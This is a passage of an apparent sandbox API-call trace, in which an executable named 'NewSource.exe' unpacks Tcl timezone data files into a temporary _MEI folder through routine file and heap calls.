lpNumberOfBytesWritten=0x4fcd6c*=0xe97, lpOverlapped=0x0) returned 1 [0040.913] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.913] CloseHandle (hObject=0x10c) returned 1 [0040.914] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.914] htonl (hostlong=0x30000000) returned 0x30 [0040.914] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.914] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.914] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.914] GetFileType (hFile=0x10c) returned 0x1 [0040.914] htonl (hostlong=0x18635b00) returned 0x5b6318 [0040.914] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x601318, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.914] htonl (hostlong=0xfb000000) returned 0xfb [0040.914] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0040.914] htonl (hostlong=0xfb000000) returned 0xfb [0040.914] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.914] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.914] htonl (hostlong=0x79020000) returned 0x279 [0040.914] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x279) returned 0x550708 [0040.914] htonl (hostlong=0xfb000000) returned 0xfb [0040.914] htonl (hostlong=0x79020000) returned 0x279 [0040.914] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.914] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.914] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.914] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.914] CloseHandle (hObject=0x10c) returned 1 [0040.914] GetLastError () returned 0x0 [0040.914] SetLastError (dwErrCode=0x0) [0040.914] GetLastError () returned 0x0 [0040.914] SetLastError (dwErrCode=0x0) [0040.915] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.915] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.915] GetFileType (hFile=0x10c) returned 0x1 [0040.915] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.915] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.915] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.915] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.915] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.915] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.915] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.915] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.915] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.915] CloseHandle (hObject=0x10c) returned 1 [0040.915] GetLastError () returned 0x0 [0040.915] SetLastError (dwErrCode=0x0) [0040.915] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.915] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.915] GetFileType (hFile=0x10c) returned 0x1 [0040.915] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.915] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.915] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.915] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.915] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.915] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.915] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.916] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.916] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.916] CloseHandle (hObject=0x10c) returned 1 [0040.916] GetLastError () returned 0x0 [0040.916] SetLastError (dwErrCode=0x0) [0040.916] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0040.916] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.916] GetFileType (hFile=0x10c) returned 0x1 [0040.916] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.916] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.916] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.916] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.916] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.916] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.916] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.916] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.916] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.916] CloseHandle (hObject=0x10c) returned 1 [0040.916] GetLastError () returned 0x0 [0040.916] SetLastError (dwErrCode=0x0) [0040.916] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Brisbane") returned 75 [0040.916] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Brisbane" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\brisbane"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.916] GetLastError () returned 0x2 [0040.916] SetLastError (dwErrCode=0x2) [0040.917] GetLastError () returned 0x2 [0040.917] SetLastError (dwErrCode=0x2) [0040.917] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Brisbane", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Brisbane", lpFilePart=0x0) returned 0x4a [0040.917] GetLastError () returned 0x2 [0040.917] SetLastError (dwErrCode=0x2) [0040.917] GetLastError () returned 0x2 [0040.917] SetLastError (dwErrCode=0x2) [0040.917] GetLastError () returned 0x2 [0040.917] SetLastError (dwErrCode=0x2) [0040.917] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Brisbane") returned 75 [0040.917] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.917] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Brisbane" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\brisbane"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.917] GetFileType (hFile=0x10c) returned 0x1 [0040.917] htonl (hostlong=0x79020000) returned 0x279 [0040.917] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.917] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x279, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x279, lpOverlapped=0x0) returned 1 [0040.940] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.940] CloseHandle (hObject=0x10c) returned 1 [0040.941] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550708 | out: hHeap=0x530000) returned 1 [0040.941] htonl (hostlong=0x30000000) returned 0x30 [0040.941] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.941] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.941] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.941] GetFileType (hFile=0x10c) returned 0x1 [0040.941] htonl (hostlong=0x13645b00) returned 0x5b6413 [0040.941] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x601413, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.941] htonl (hostlong=0x45060000) returned 0x645 [0040.941] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x645) returned 0x550600 [0040.941] htonl (hostlong=0x45060000) returned 0x645 [0040.941] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.941] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.941] htonl (hostlong=0xd41e0000) returned 0x1ed4 [0040.941] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1ed4) returned 0x561090 [0040.941] htonl (hostlong=0x45060000) returned 0x645 [0040.941] htonl (hostlong=0xd41e0000) returned 0x1ed4 [0040.941] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562f70 [0040.941] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562f70 | out: hHeap=0x530000) returned 1 [0040.941] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.941] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.941] CloseHandle (hObject=0x10c) returned 1 [0040.941] GetLastError () returned 0x0 [0040.941] SetLastError (dwErrCode=0x0) [0040.941] GetLastError () returned 0x0 [0040.942] SetLastError (dwErrCode=0x0) [0040.942] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.942] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.942] GetFileType (hFile=0x10c) returned 0x1 [0040.942] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.942] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.942] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.942] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.942] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.942] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.942] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.942] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.942] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.942] CloseHandle (hObject=0x10c) returned 1 [0040.942] GetLastError () returned 0x0 [0040.942] SetLastError (dwErrCode=0x0) [0040.942] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.942] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.942] GetFileType (hFile=0x10c) returned 0x1 [0040.942] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.942] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.942] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.942] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.942] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.942] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.943] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.943] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.943] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.943] CloseHandle (hObject=0x10c) returned 1 [0040.943] GetLastError () returned 0x0 [0040.943] SetLastError (dwErrCode=0x0) [0040.943] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0040.943] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.943] GetFileType (hFile=0x10c) returned 0x1 [0040.943] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.943] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.943] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.943] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.943] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.943] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.943] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.943] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.943] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.943] CloseHandle (hObject=0x10c) returned 1 [0040.943] GetLastError () returned 0x0 [0040.943] SetLastError (dwErrCode=0x0) [0040.943] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Broken_Hill") returned 78 [0040.943] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Broken_Hill" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\broken_hill"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.944] GetLastError () returned 0x2 [0040.944] SetLastError (dwErrCode=0x2) [0040.944] GetLastError () returned 0x2 [0040.944] SetLastError (dwErrCode=0x2) [0040.944] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Broken_Hill", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Broken_Hill", lpFilePart=0x0) returned 0x4d [0040.944] GetLastError () returned 0x2 [0040.944] SetLastError (dwErrCode=0x2) [0040.944] GetLastError () returned 0x2 [0040.944] SetLastError (dwErrCode=0x2) [0040.944] GetLastError () returned 0x2 [0040.944] SetLastError (dwErrCode=0x2) [0040.944] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Broken_Hill") returned 78 [0040.944] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.944] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Broken_Hill" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\broken_hill"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.944] GetFileType (hFile=0x10c) returned 0x1 [0040.944] htonl (hostlong=0xd41e0000) returned 0x1ed4 [0040.944] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0040.945] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.946] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xed4, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xed4, lpOverlapped=0x0) returned 1 [0040.946] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.946] CloseHandle (hObject=0x10c) returned 1 [0040.946] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.946] htonl (hostlong=0x40000000) returned 0x40 [0040.946] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.946] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.946] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 